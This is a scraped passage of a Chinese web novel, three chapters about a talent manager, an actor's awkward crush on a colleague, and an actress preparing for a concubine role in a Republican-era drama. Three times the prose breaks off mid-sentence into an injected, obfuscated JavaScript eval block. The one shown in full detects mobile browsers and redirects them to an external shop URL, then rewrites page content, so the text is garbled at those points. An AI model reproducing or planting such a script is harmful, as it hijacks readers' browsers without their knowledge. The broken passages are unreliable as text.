你说宫欢? 领导上司另当别论,爱怎么怎么。 你说关清英? 这位姐需要别人上心吗,她自己就能解决让她烦恼的人。 你说赵莉莉? 他不想喝中药调理身体,敬而远之是自保之法。 萧子重默默叹气,想伸手揉揉脸,让自己清醒一点。 忽然,一边靠着车窗坐的甘惊鸿摇摇晃晃地朝他这边倒过来—— 萧子重眼瞳骤缩,几乎是下意识地将身体凑过去,稳稳接住了她倒过来的肩膀,似乎是下意识的举动,她的头轻轻靠在了萧子重的肩上,人正熟睡着。 萧子重接住她的姿势非常不适,他朝着她的方向倾过去了大半个身体,单手撑着座位,一只手轻轻扶着她的手臂。 就像是,上赶着去接她倒下来的身体。 他总不能让她直接一个大马趴摔在座位上,接一下,是出于绅士行为。 萧子重就这么说服自己,慢慢挪着身体,坐在了甘惊鸿的旁边,让她靠得更舒服了一点。 有些细软的发丝落在脖颈间,随着车子的细微颠簸,在皮肤上扫来扫去,细细的发痒。 这些都可以忍耐。 有浅淡的香气飘来,车内的狭窄空间让气味反复被他吸走,吐出,始终没有新鲜的空气掺杂进来。 他有些晕眩,缺氧。 萧子重怀疑,他对香水过敏,否则为什么喉咙发痒,心脏止不住地跳动,血液都在快速流动。 他一定是过敏了。 85. 皎皎月明5 一回到别墅,萧子重就当着宫欢的面在客厅到处翻找。 宫欢纳闷地叉腰问他:“你打算拆我家也要趁我不在的时候干吧,这么明目张胆是瞧不起谁啊?” 萧子重头也不抬,在堆放医药箱的地方连翻几个箱子,嘴里念念有词:“过敏药......过敏药,过敏药呢!??为什么没有过敏药!!!!” “我人都快死了,你为什么没有买过敏药!” 萧子重有些崩溃地抱住头,转过身时,宫欢被他眼里复杂充沛的情绪吓得后退了半步:“咦——你什么情况,怎么头都是红的——黑红黑红的?脖子也红,真过敏了啊,你哪儿不舒服?” “我,我......” 萧子重整个人都是乱的,眼神飘忽,语无伦次,我了半天说不出一句话。 他艰难地要说出话时,甘惊鸿从外面进到了客厅,他的目光瞬间移了过去。 “前辈,你怎么走那么快啊,我都跟不上你了。”甘惊鸿还打着哈欠,揉了揉眼睛,看见宫欢时打了声招呼,“欢姐,我们回来啦。” 萧子重一看见她后,连一个我字都蹦不出来了,他纠结好一会儿,憋着涨红的脸,语速快到在宫欢耳中一闪而过: “我有点不舒服先回房间了,改天再聊!” 说着萧子重转身就想逃跑,立刻消失,他腿长,一迈步就上了五六层台阶。 却被宫欢一把抓住了衣摆,硬生生把人从楼梯上拽了下来—— 在萧子重喊叫着“放开我!让我走!”的声音里,宫欢拖着人路过甘惊鸿面前,下巴示意她去沙发上坐,同时嘴里还说: “走什么走,你们两个当事人把事情给我说明白了。” 被强拉硬拽着摔在沙发上,萧子重狼狈地爬起来,一而再再而三地、如同被丢上岸的鱼胡乱扑腾想离开让他‘过敏’的源头。 宫欢的手一次次把人摁了回去,甚至拿出了镇宅之宝:“你再不给我安分点,我就去叫英子来治你了。” 奈何关清英的名头拿出来也没用,自从上次劫车事件过后,三人对关清英可谓五体投地,只要提到关清英,三人什么都会老实去做。 这次居然不管用? 宫欢两只手像抓着一条滑溜的鱼,怎么摁都摁不住有多动症的萧子重。 “让我走!我真的快要死了!救命啊啊啊啊!!!” “给我老实坐好,我有事要跟你们说,又不会要你的命!萧子重你别给我犯贱!” 在宫欢快要发飙时,甘惊鸿走了过来坐在萧子重旁边的沙发上,她有些担忧地伸手碰了碰他发烫发红的额头:“前辈,你额头怎么这么烫啊?” 只这一触即分的触碰,萧子重仿佛被点到了命穴。 在沙发上胡乱爬行的身体顿住,连叫喊声都戛然而止,他转过头有些怔神地看了看甘惊鸿,两眼直直地,像是失去了任何思考的能力。 甘惊鸿歪了歪头,担心地问:“要不要去看一下医生啊,下午的风好像是有点大,你发烧了吗?” “我看他是发癫了。”宫欢默默抽了几张纸,擦擦头上的汗。 萧子重理智渐渐回归,他掩饰地飞快眨了几下眼,而后爬下沙发,双手双腿规规矩矩地摆好,坐在沙发上像是个正在上课的好学生。 “没,没事,我刚才就是——在做一种...行为艺术。”萧子重坐正后,头摆得很直,甚至往宫欢那边偏了一点,眼睛却时不时往右边的甘惊鸿那边飘。 甘惊鸿似懂非懂地点头:“哦......前辈真是随时随地都在沉浸式演戏呢。” 见人总算安静了点,宫欢长舒一口气,她将茶几上的电脑转到两人面前。 两人的脑袋不约而同地往前挪了挪,去看上面的内容。 今日微博热搜: #高义南手滑点赞cp视频 #《皎皎月明》首映礼 #女二澄清cp炒作 甘惊鸿看完了热搜,面露歉疚地向宫欢解释:“我也是在首映礼进行到一半的时候才知道高义南点赞了cp视频,当时我被架在台上,而且我的话筒完全没有声音,前面的自我介绍我都没有说出来。” “至于“去主持人那边抢C位”,是我去借话筒方便说清楚一下,我怕越不说,娱记们就越觉得有事。” 甘惊鸿:“当时我和陈老师一个话筒,话筒在他手里就有声音,在我手里就没有,旁边是曲老师和高义南,他们两个一个话筒,我也不好去借,万一又引起什么误解,刘导就更不行了,演员和导演之间都需要避嫌,所以最后我只能冒险去找主持人借话筒了。” 甘惊鸿说着低下头:“我做的比较冒失,但是当时我也没有别的办法。” 萧子重听着听着便不自觉地将头转向了甘惊鸿。 他没想到当时的情况那么复杂,只是看见她被众多闪光灯聚焦,却脸色苍白,他看得出来那时候她有些难过。 “你做得很好。”萧子重看着她被发丝遮住的侧脸。 甘惊鸿意外地抬了抬头,“真的?” “当时那么多的娱记都在挖坑,只要你态度不明,解释不清,他们就会往你模糊的方向故意炒作,现在你大大方方的澄清,他们再揪着不放,就没意思了。” 萧子重对上她澄澈的眼睛,像是有强吸引力般,他无法移开视线。 甘惊鸿欣慰地笑了,语句轻甜:“我也觉得。” 两人之间的氛围仿佛飘着淡淡的白雏菊小花。 宫欢丝毫不觉,她只是看着手机上的“首映礼送花”视频,赞叹道:“萧子重,你这个公关手段可以啊,刚好是在澄清过后,又以粉丝名义送花,刚好强调了小甘的演员身份和她饰演的角色。” “本来这类影片多是给女一男一作绿叶陪衬,能露个面就不错了,想让人记住你的名字还要做很多努力,不过今天倒是意外之喜,”宫欢认真分析着,“小甘,你做的不错,虽然大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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甘惊鸿见两人又要杠上,缓和气氛道:“没事啦,欢姐本来就很忙碌辛苦的,不能总是围着我转嘛,首映礼其实也没什么的,我就是站在上面当花瓶。” 这时,楼上传来脚步声,奚亭云下到一楼,看见沙发上的三人便自觉走了过来。 “萧子重,”奚亭云意外地看了看他,和旁边的甘惊鸿,他挑眉问道,“你今天下午问我借钱是——” 这一瞬间,萧子重用上了这辈子最快的速度,越过甘惊鸿冲到奚亭云面前,一把捂住了他的嘴。 奚亭云:“?” 萧子重一边捂着他的嘴,一边朝甘惊鸿和宫欢笑:“哈哈哈哈,今天都挺好的,那什么,时间不早了,大家都早点睡啊,走!” 奚亭云唔唔地反抗无效,被萧子重强行拖着走时,还努力回头看宫欢,拼命朝她眨眼。 大意应该是晚安吧。 宫欢心虚地扶着头,避开他的视线。 甘惊鸿则是看着萧子重努力扯出的笑容,拖着朋友走远了。 她放空了一瞬思绪,脑中回闪过下午的相处,嘴角不自觉扬起,露出了个甜甜的笑。 86. 小妈剧本1(注:有部分剧本故事) 宫欢大步迈进了别墅正厅。 她手中拿着一份文件,当做扇子似的扇着风,目光在客厅巡视了一圈——只看见了在休息区沙发上、如尸体般躺着的甘惊鸿。 结束拍戏有段时间了,这几天甘惊鸿大多都在家里休息。 宫欢慢悠悠走过去:“看见你莉姐了吗?” 甘惊鸿穿着运动背心与短裤,身上的露出来的皮肤上全都是汗珠,正大喘气发懵。 看见宫欢过来,颤抖着手臂撑起半个身子,她大臂上的肉颤颤巍巍抖个不停,指着后花园的方向,声音沙哑:“她在,练功!” 说完更像是一口气上不来的病人,一仰头又倒了回去。 宫欢沉默了一秒:“还没出戏?你最近都在干嘛?” 宫欢一天天晚出晚归,没什么时间关注艺人的身心健康,她想着,真的该找个家庭医生了。 甘惊鸿像是回光返照似的哽回了一口气,她侧过头,生无可恋,嗓音还如同老妪般的腔调:“跟,清英姐——” 话说到一半,关清英从门外小跑着进来。 她来到宫欢旁边,仍在原地摆臂跑步,朝宫欢点点头后,转头看向沙发上的甘惊鸿:“小甘,你休息好了吗。接下来还有负重10公斤做蛙跳,泳池潜水10分钟挑战,草地匍匐前行3公里......” 宫欢听着听着眼睛不由自主地瞪大了。 这,这都,是人能做到的吗? 而沙发上的甘惊鸿,回光返照的气一下没了,她“呃”了一声,头一歪,手一甩,闭上了绝望的眼睛。 怪不得这孩子累成这样。 宫欢心有余悸地往后退了两步,生怕关清英把她也拉上加入这场“训练”中。 好在关清英的注意力都放在了甘惊鸿身上,趁着关清英准备扛起甘惊鸿继续训练时,宫欢走出别墅来到后花园。 这会是中午,赵莉莉估计在练瑜伽。 宫欢在后花园里走了会,耳边传来一阵轻飘悠扬、让人身心舒缓的背景音乐—— 伴随着偶尔的提示人声:“深呼吸~吸气...呼气......” 看来找到人了。 宫欢走进乘凉的小亭子便看见。 赵莉莉单脚直立在铺着瑜伽垫的地面,一腿随着视频里的瑜伽老师的声音往后延伸、延伸,身体重心很稳,两手则是向上伸展。 这柔韧性令宫欢这种四肢像是被人随便安上的人,非常惊叹。 宫欢找了个石凳坐下,准备等赵莉莉练完功,她手肘抵在坑坑洼洼的石桌上,旁边还有一壶刚烧滚的中药汤。 闻着味就不太妙,但宫欢有些好奇。 她跃跃欲试地伸出手,拎起微烫的壶盖,刚一掀开,扑面而来的蒸腾热雾里掺杂着那股酸不酸甜不甜的奇怪气味。 “咦,你大中午的喝这个,等下还能有胃口吃饭吗?”宫欢嫌恶地用拿着文件的手扇散那些药味,将壶盖放了回去。 赵莉莉的瑜伽动作缓慢且稳当地换了一个难度更高的姿势,她轻飘飘地还能和宫欢说话:“那不是中药,是陈皮、茯苓、淮山药、麦冬煮的水,怎么能说是药呢。” “......”宫欢无语,“这些东西已经是药了啊!!” 算了,跟这个中药熏香的女人说不清楚。 “你还要多久练完,”宫欢晃了晃手里的文件,“有一个好本子拿给你看看,我觉得是非常适合你转型实力派的一个角色。” 赵莉莉偏头往宫欢这看了一眼:“我还要半个小时呢,你就直接跟我说吧,我听听看。” “行。” 宫欢翻开这份文件念出了封面:“《重生之家产一定是我的》——” 刚念完剧名,赵莉莉的头转了一圈过来,幽幽看着宫欢:“......好,本子?” 宫欢面露笑容:“等我说完嘛。” “这本子是买了小说版权来改编排成电视剧,小说原名就是这个,你也知道,这样的名字比较吸睛,标题直接点出全文中心思想。” 宫欢边说边绕着赵莉莉走,有时甚至能脱稿,两手背在身后说出本子内容。 “改编后呢剧名肯定会调整,这个再说嘛,我是看中里面有个姨太的角色非常有挑战性,适合作为你用来转型的角色。” “姨太?”赵莉莉放下一字马的腿,双手撑地,两腿腾空伸展,面不改色地继续追问,“这是部民国剧?” “问得好!” 宫欢见赵莉莉感兴趣,颇觉得自己找资源的方向非常稳妥,她清了清嗓子,一只手弹了弹剧本,翻了一页,继续说: “背景是民国混战期间,这个角色在17岁的时候遭遇意外,流落街头被一个军阀看中,你为了活命于是做了他的姨太太。” 赵莉莉略微思考了一下:“我和这个军阀有爱恨情仇的纠葛?” “nonono,”宫欢束起一根手指摇了摇,脸上小表情不断,她挑眉,眼里闪着精光,“你——和他的儿子有爱恨情仇的纠葛!” “哎哟!” 原本一直各个高难度动作都非常标准的赵莉莉一个气没稳住,歪摔在了瑜伽垫外面,她慢慢坐起来,有些意外地试探问道:“你说的,难道是——” “没错!你是他的小妈!!” 赵莉莉当即震惊,站起身关掉背景音乐,卷起瑜伽垫就准备走人了。 “等等等等啊,不是你想象的那种角色,你先听我说啊。”宫欢一把拉住她要收拾的动作。 “还说什么,”赵莉莉看都不看她,“不又是一个靠姿色身材吸引男人的角色吗?这种角色有什么意思,我都演过无数个了,我真的烦了!” 眼见赵莉莉要生气,宫欢一把抱住她剩下半截的瑜伽垫,整个人趴上去,摆出可怜兮兮的模样:“莉啊,你听我说完所有剧情再决定好不好嘛,我说过不会给你接那些恶俗角色就不会的!!我是个正直的经纪人,这点难道看不出来吗!!” 赵莉莉怀疑的眼神盯着宫欢看了半响,果断摇摇头。 宫欢大为受伤,但还是一只手捂着心口,一边语速极快地说出具体的角色背景。 “姨太和军阀的所有戏份都只是回忆片段,你的第一次出场是和军阀去接他留洋归来的儿子,而在这之前,儿子就对姨太有情愫暗生,因为军阀和儿子通信往来的时候附上了一张照片,你在这张老照片里的表现很腼腆,眼神和拍照姿势却都非常有一种孤傲的气质。” “军阀第一任妻子难产去世,由二太太管家,二太太善妒却又装得很好,经常排挤你,而你乐得清净,经常自己在小院子里仰~望外面的世界。” 宫欢伸出手,目光顺着手的方向往远处看,做出惆怅向往的模样,紧接着她又转过头,眼里带着伤感地缓声道: “一个是年轻惨遭流离失所,后因种种缘故成为他人姨太的一个命苦女子,一个是从小背井离乡前往他国的孤身学子,一切的一切,都那么巧合,他留学归来,看见安静温和的三姨娘——他们年龄相当,眼里却有两种不同的光彩~” 随着宫欢的话,赵莉莉的反应没刚才那么抗拒了,甚至听进去了这些话。 宫欢一把抓住她的手,强行把本子塞进她手里,翻开男女主初见的一幕。 “这段戏我当时看了之后就惊为天人,尤其是如果你的表现好了,剧组导演班底都好,这个角色绝对可以大爆特爆......” 赵莉莉默默松开了手里的瑜伽垫,没去听宫欢被她力道一松摔在地上,发出“啊呀!”呼痛的声音。 目光留在那满是文字的纸张上—— 【多年后,傅远榕再次走上了这片土地。 他提着行李箱,前后左右的人与人都挨挤着,只好一连声的借过,下了船,擦擦汗,感叹一声实在难走。 下了邮轮,周围尽是等待的人,他左右看了一圈没找到父亲他们,正疑惑是不是他书信里记错了时间,就听见呼唤声。 “少爷!我们在这呢!” 听到熟悉的呼唤声,傅远榕微微一愣,随后缓步向那个方向走去。目光在人群中来回逡巡,最终落在了一位年轻女子的身上。 她正搀扶着自己的父亲,朝自己招手。 虽然从未谋面,但从和父亲往来的书信中,他知道些家里的情况,傅远榕立即认出了她便是那位三姨太——伏枝。 远处等待的人群里,伏枝搀扶着傅恒,旁边是管家。 他们方才往邮轮上看了好久,愣是没找到傅远榕,最后还是管家眼尖地发现早就下了邮轮的傅远榕。 青年身量颀长,穿着大衣戴着一条围巾,绅士帽戴在头上,缓缓迈步而来,姿态儒雅有礼,气质非凡,这是伏枝第一次见他。 早就听傅恒提过傅远榕这个儿子,但一直不得见,恰好今日他回国,伏枝这个做姨太的,得好好表现,所以她笑着朝青年招手。 “我们在这,到这儿来。” 傅远榕只看得到挥舞的嫩白手臂,视线难免被吸去了,他回了回神,朝三人走去,视线从伏枝身上慢慢移父亲那,久违的父子重逢使傅恒带着笑意。 待走近了,傅远榕轻轻颔首:“父亲,多年未见,您可还好,劳烦您几位专程来接我。” 傅恒年近五十,平日里饮食作息多有注意,因此并不显老,除去脸上些许皱纹瞧着最多三十五六。 两人站在一起,乍一看只觉得是兄弟而非父子。自家儿子留洋归来,他心里既欣慰又惆怅,这些年与傅远榕虽书信常往,实际上傅恒并不了解傅远榕如今究竟是怎么个脾气了。 倒是惹人感伤。 傅恒点点头,抬手捏了捏他的肩:“好,都好,几年不见你都长这么大了,快教我不认识了。” 傅远榕只温润笑着,任由父亲感慨打量,只是目光又飘到了父亲的女伴脸上。 伏枝正弯着眸子,恰好与他对上,陡然颤了颤眼睫。 傅远榕先开口,“这位便是您说的三姨娘了吗?” 傅恒这才想起来,他和傅远榕来往的信件中提了不少回伏枝,不过这真见面了还是面生。 他笑骂了自己一句,“瞧我这糊涂了,只顾着看你忘了与你说,这是伏枝,你三姨娘,家里现在一些事务由她看管着,她性子软,细心,有什么缺的你尽管与她说。” 伏枝手中捏着锦帕,掩了下笑意,看了傅恒一眼,谦虚道:“我也就是帮衬着打点家里杂事,我不知晓你的生活习惯,有些东西备得怕不合你心意,若是想要什么物件只管与我提便是。” 她笑起来眉眼具弯,尤其那柳叶弯眉婉约又风情十足,眼尾似藏着柔情不可说,与国外那些活泼热情的女子大有不同,笑需掩齿,言语间微微偏头。 看人不是正视,而是似瞥似望的虚虚一眼,只一眼就让人铭记于心。 傅远榕未曾见过这样的风景,他便多看了几眼。 傅远榕但笑不语,三人边聊边往洋车那走,管家跟在后面提着行李箱。 多数时候是傅恒与傅鸿声说话,伏枝偶尔笑着看他一眼,傅鸿声便也回之一笑。 还算有个一家人的样子。 行李才放上车,小厮匆忙跑来跟管家耳语,而管家闻言色变,又凑到正笑说回家吃饭的傅恒耳边说了一通。 想必是商会又出什么幺蛾子了,伏枝想着。 果不其然,傅恒听完话后面沉如水,缓了片刻才朝傅远榕说: “你先与你姨娘回去,晚些时候我再回去和你们吃饭,商会出了点事,这会子闹得正厉害。” 商会里的那些利益事平时父亲和傅远榕说得不多,不过书信中偶尔也提了几嘴,他大概明白是些什么情况,只点了点头应下。 傅恒又叮嘱伏枝:“好好安置着,缺了什么尽管让人去买,他这些年在外面好些习惯与我们不一样。” 伏枝笑笑:“放心吧,那些我还是懂得的。” 目送傅恒走远,先转身的是傅远榕,他侧身而立,带着浅笑,说话儒雅随和:“姨娘,我们回去吧。” 清清朗朗的一声姨娘,带着拖拽的尾音,伏枝的心口莫名颤了颤,耳内一阵阵发痒。 她回眸望他,对上似笑非笑一双眼,匆匆垂眸转身上了车,边走边说,“说的是,是得快些回去给你安置着。” 这背影,颇有几分落荒而逃的感觉。 不是怯场,实在是她从未接触过这般气质的人物,那清正端方的君子样貌,已有多年未见过了。 太过鲜活,太过灼人,不像她,在四四方方的宅院里,与花草同息同眠。 一季生,一季死,死死生生这些年,她也练得一副少年老成。 不想,今日看见傅远榕,她才有些恍惚,她今年年岁几何了? 她好像,也才二十有四。 为何与他像是两个世界的人。】 看剧本的这段期间,赵莉莉吃饭的时候两眼都移不开,耳边全是嘈杂的人声,一群人闹闹吵吵的都没能把她从剧本中吵醒。 吃饭的时候看,洗澡的时候看,熬中药的时候看,早练金刚功晚习长寿功也在看,除了睡觉,她基本就是剧本不离手。 直到五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126377|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天后,看到结局的赵莉莉放下了剧本,露出了带着血丝的眼睛,她看着正在吃瓜(真瓜)的宫欢,一字一句地说: “我要演这个伏枝这个角色,我会不惜一切代价演好她。” 宫欢当即将嘴里的西瓜嚼嚼咽下去,她双眼亮得惊人:“那我一定会让你完美转型!” - 敲定角色后,宫欢当即给导演组打去电话——有赵莉莉的名气在,导演非常爽快地答应了下来,说约个时间去试镜。 这是赵莉莉来到宫欢这边接到的第一个角色。 宫欢非常重视,前前后后来回奔忙,为资源与导演班底连轴转,到处去打听其他角色的人选,她生怕其他选角拉胯,从而影响赵莉莉的角色亮点。 毕竟好的对手演员与导演班底同样重要。 这期间,赵莉莉便就在开始日日夜夜的反复研读原小说内容、和改编后的剧情内容,原著与改编版本多多少少都会有变动,因为影视剧需要情节冲突,人物亮点与弧光。 不能再是主角的独角戏,而是剧组与演员们互相创作出的作品。 赵莉莉拿到剧本后的一段时间里,作息大乱特乱。 除了每天都在熬中药泡药浴外,其他的固定作息全部紊乱——连早睡早起的习惯都彻底改变了! 根据受害人安声先生的说法是:“上次我半夜饿了去厨房找吃的,迷迷糊糊刚走到客厅,她忽然就披头散发的出现了!脸上全是绿光!!我我吓得拔腿就跑,满屋子乱叫——结果还被萧哥他们打了一顿,说我扰民呜呜呜,我太冤枉了!” 受害人之二萧子重从冰箱里拿出了一听雪碧,他刚打开拉环想喝一口,就被人拉去采访,他指了指自己:“我?我能有什么介意的,我作息也好不到哪儿去。” “这么说,您对赵莉莉女士熬十八种中药材的药汤,让所有人都要喝一碗的突发病情并无不满吗?”采访人非常一针见血。 萧子重又止住了要喝雪碧的手,眼神有些惊恐地看向采访人。 采访人以为他有话要说,把一卷纸卷成的话筒怼到了萧子重鼻子上,将他的鼻梁怼得有点歪:“您这个表情是想表达什么呢?” “她,她——”萧子重一句话也说不出来,拿着雪碧的手伸出一根手指,牙齿打颤地嚎叫一声,忽然掉头就跑! “诶诶!”小助理有些懵地看着嚎叫跑走的萧子重,垂手放下手里的“话筒”,有些不解。 但紧接着,她的肩膀就被人轻轻拍了一下。 那力道轻飘飘,却带着一股让人胆颤心寒的——中药味。 “小李~” 赵莉莉的头半歪着靠在了她的肩上,头发披散,遮住了脸颊两侧,显得脸上皮肤苍白的渗人,再配上她柔媚又拖长的音调,无端让人脊背发凉—— 她的头压在小李肩上,沉甸甸地,右手端出一碗咕噜噜冒着热气的浓黑药汤。 “尝尝我熬的汤吧~” 小李身体僵直,动也不敢动,口中的牙齿直打颤,咯嗒咯哒咯哒地响。 她一点点转过脖子,看见穿着白裙、双眼直冷冷、嘴角却诡异上扬的赵莉莉,顿时痛哭出声:“哇啊啊啊啊阿呜呜呜救命啊——妈妈!我想回家!!!” 采访人小李的妈妈并未到场,而是宫欢不知道从哪儿窜了出来,看见小李抽抽搭搭的哭得可怜,而旁边的赵莉莉端着汤药围着她转——还不忘了推销那碗十全大补汤。 宫欢扶额。 这种情况发生有几天了,宫欢早就察觉了苗头,先前敲打问话时,赵莉莉的“病情”还没这么严重。 她当时只说:“我每次压力大的时候,都会有点不太正常,希望你们不要太介意哦。” 当时众人都以为她是故意说得严重了点,但谁都没想到——她还能更严重。 《重生之家产一定是我的》这部剧里的三姨太这个角色,的确很难诠释,尤其是要演出层次感,那更是一种挑战。 赵莉莉以前的多数角色都比较浮于表面,很多时候她想深入,但导演只让她少穿,多露,而那些都让她非常不自然,更多的情绪都消耗在调整心态,与别人的眼光上面。 以至于赵莉莉很少有几个角色能好好演完。 这次的角色是她有史以来看到的最好的一个人物,她越想演好,就反而越给自己极大的压力,这很有可能适得其反。 心态这种东西很难说调整就能调整好的。 宫欢正想着要不要找个心理医生来,身后忽然响起声音:“你在偷看。” 宫欢顿时一个机灵,扭头一看,是关清英,她拍拍胸口:“你别吓我,我最近本来就心脏不好,天天提心吊胆的。” 关清英刚做完草地匍匐3公里,身上都是草叶子,甚至连短发上都有几根翘起的叶片,她表情淡然,看了眼大厅里抽噎的小李,劝喝的赵莉莉,又看向在门外偷看的宫欢。 “为什么提心吊胆?”关清英问。 宫欢有些震惊:“你,你不觉得最近莉莉状态很不对劲吗?” 关清英又朝别墅内看了看,没回答宫欢的话,她径直走入客厅,直奔赵莉莉的方向。 赵莉莉上方映出了一道黑影,她回头发现是关清英,更是笑着凑近,歪在关清英肩上,端起有些温温凉的汤药:“英子,要不要喝一碗大补气血的汤药啊~” “好。”关清英一手接过这碗浓稠,气味诡异的黑色汤水,面不改色地抵在唇边,仰起头一口气吨吨吨全部喝完了。 汤水有点多,像喝完了一碗粥,喝完后关清英还打了个嗝,她将碗还给赵莉莉。 赵莉莉期待的小眼神看她:“好喝吗?你感觉怎么样?” 关清英原地静止了四五秒,她目光对上赵莉莉的视线,慢慢地,鼻孔里流出了一行血。 关清英若无其事地抬手擦了一下,看了眼手背上的血,完全不在意地对着赵莉莉竖起大拇指:“很不错,大补。” 说完这话后,关清英的耳朵也涌出一股热意,滴答滴答的血珠落在她运动服上。 关清英继续竖起另一只手的大拇指,双重肯定:“好药。” 得到如此称赞,赵莉莉心满意足地抱着空碗走去了厨房。 而关清英,则在宫欢怀疑震惊的视线中走了过来,人中还有些血迹,耳朵也在滴血。 她却对宫欢点头:“你莉姐一切正常,没什么问题。” 宫欢深深呼吸,拿出手机让高姐联系最好的心理医生,同时对着关清英悲痛道:“我现在怀疑你也有问题了!!!” 关清英不置可否。 87. 小妈剧本2 深夜。 赵莉莉睁开了布着血丝的眼睛。 睡意仿佛一下消失了,怎么辗转反侧都睡不着,这样也是无趣。 她索性坐起来,去洗漱间洗了下脸,抽出纸巾将脸上的水渍擦干净,抬头,对上镜中的那张脸。 五官的变化是先从眉毛开始的。 赵莉莉抬手抚了抚不知何时被修成细长形状的柳叶眉,接着是她有些直而纤长的眼睫毛,不算特别浓密,仔细看时,却与眼型相得益彰。 她久久地注视着镜中的自己。 忽的,微微将头偏着,眼睛的光也在有意的控制下变得柔缓内敛,甚至有些生人勿近的意味。 她反复揣摩着她对这个留洋归来的同龄人是何种触动的心情,是被吸引,惊讶,羡慕,惋惜,亦或者还有失落。 伏枝对傅远榕的好奇与向往中,潜藏在很多很多的细节里面,民国剧的台词都非常有古韵,除却个别的剧情里面,台词大胆,其他时候都很内敛。 赵莉莉必须要锻炼自己的眼神,神态,动作,甚至是一个侧头,转身的动作,都要有含韵在。 在试镜之前,她要先自己进入角色状态,之后敲定角色了,再找形体与表演老师都深入探讨一下。 这些都是摆在明面上的待办事项,这个角色非她莫属。 但莫名的,赵莉莉就觉得被压得喘不过气。 镜中的人又一下变回了赵莉莉。 还是那个柳叶眉,有余韵的眉眼,可眼中的情绪不再是愁绪,而是焦虑,不安。 她有些烦躁,丢了手中攥成一团的湿纸巾,转身出了房门,下了楼梯,来到后花园。 宫欢家的后花园每天都有人照料,花卉绿植开得漂亮,赵莉莉经常在这放空自己。 喷泉附近亮着几盏小地灯,重重灯影中有道人影静静地坐在花坛旁边的长椅上。 那人短发,坐姿尽管已经靠在椅背上了,却还是比其他人都要端正得多。 赵莉莉先是一怔,随即无奈地笑笑摇头。 她走近了,也一并坐在了这张长椅上。 音乐喷泉在不远处起伏跳跃,柔和的纯音乐与泉水一起舞动,溅出的水珠落在周围的草地上,颗颗晶莹剔透。 “你怎么还没睡?”是关清英先问。 她侧头看了眼发怔的赵莉莉。最近她的情况太明显,大家都比较担心她。 “你呢,你怎么不睡?”赵莉莉反问。 关清英:“不困。” 两人又沉默了一阵。 其实也不能说是沉默,她们静静的听着重复的音乐,和不重复的水落声,只是沉浸在片刻的安宁中。 仿佛这样,她们焦躁的心就能安静下来。 “你有没有过那种,遇到了人生角色的感觉?”赵莉莉轻声说。 “有。”关清英说。 赵莉莉问完后的下一秒就有些自嘲地笑了笑:“我怎么会问你这种问题,你演的陈队长已经是经典的影视教材了。” 关清英平时话不多,表情显露的也很少,大家总以为她就是传说中的“高岭之花”,但其实,她只是言简意赅。 关清英对情绪的感知很敏锐,以至于在众人还没反应过来赵莉莉的不对劲时,关清英一早就注意到了她的恍惚、不知所措。 像极了很久以前的她。 “你想要这种经典吗?”关清英微微转过头,她双腿交叠着,像是放松的坐姿,背却挺得笔直,“我听他们聊了这个剧本,是非常有内核的人物。” 赵莉莉也翘起了腿,膝盖交叠而上,两人的二郎腿意外地朝着一个方向。 “就是因为这样,我才不知道怎么办。”赵莉莉微不可查地叹气,“你知道我以前演过那么多的角色,没一个上得了台面,我不喜欢这样。” “那你现在有机会了。” “可我更害怕了!” 赵莉莉转过头,看着关清英,眼里有点点泪意:“就是因为她太好了,我怕,我会毁了这个角色。” “我这段时间天天练习,去找相关的电影纪录片看,我想象进入到这个角色里面,我是她,她是我,我要演出她的痛苦悲怨,在那种环境下的为难不安,还有很多很多的情绪——太多了!” 说话的时候,关清英一直都在看赵莉莉,关清英的眼中有层潜藏的情绪。 赵莉莉说不出那是什么情绪,她偏开头,避开这种注视:“我一直都想要转型,想要彻底摆脱那些“性感”、“x女郎”、“人间尤物”这种词汇,我可以是悲情的痛苦的,也可以是疯子、神经病,但我就是不想要那些形容词。” “你能懂吗?” “我懂。” 关清英动了动手,从衣服口袋里拿出一包纸,抽出一张纸巾递给赵莉莉。 赵莉莉道了声谢,接过来擦了擦泛着泪意的眼睛。 关清英将目光又放在不远处的喷泉上,像是聊天似的:“做事不能瞻前顾后,你现在最想要什么,就去做什么,想撕掉标签果断点去撕。” “表演,不是浮于表面的表情,肢体演戏。” “表演是你走进了一个人的人生,进入ta所在的环境社会,将自己的心捏成和ta一样的形状,无论怎样,只要你对表演、对人物有敬畏之心,你一定会成功的,”关清英目光有些恍惚,像是陷入了一些回忆,“你成为她,替她而活,有什么比这个更能体会,更深层次的表演?” 赵莉莉听着时,不自禁抬起头,去看关清英。 她发觉她原本笃定清晰的话,到后面渐渐飘忽,像是一种梦呓,让人捉摸不透。 “英子?”赵莉莉担忧地叫她。 关清英回过神来,摇摇头示意自己没事。 赵莉莉伸出手搭在她的手上,在关清英回头看她时,直白地问:“你演了几年【重刑之下】?” 关清英愣了愣:“不算上进组时间的话,是九年。” 赵莉莉:“你还分得清你和她吗?” 这次,关清英没有回答。 良久,关清英才缓缓道:“演戏不就是这样吗。所有演员的梦想就是成就一个最经典的角色,在影坛上留下自己最辉煌的时刻,我已经做到了,没有遗憾。” “你还没拿到奖项,”赵莉莉说,“结束拍摄之后,你一直都没有去报名参奖吗?” “我不需要那个东西。”关清英这么说。 想想也是。 当一位演员拥有一定程度的国民认可度,并且有如此之大的影响力,一座奖杯或是领奖台并不是她的最终归宿。 那她会是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 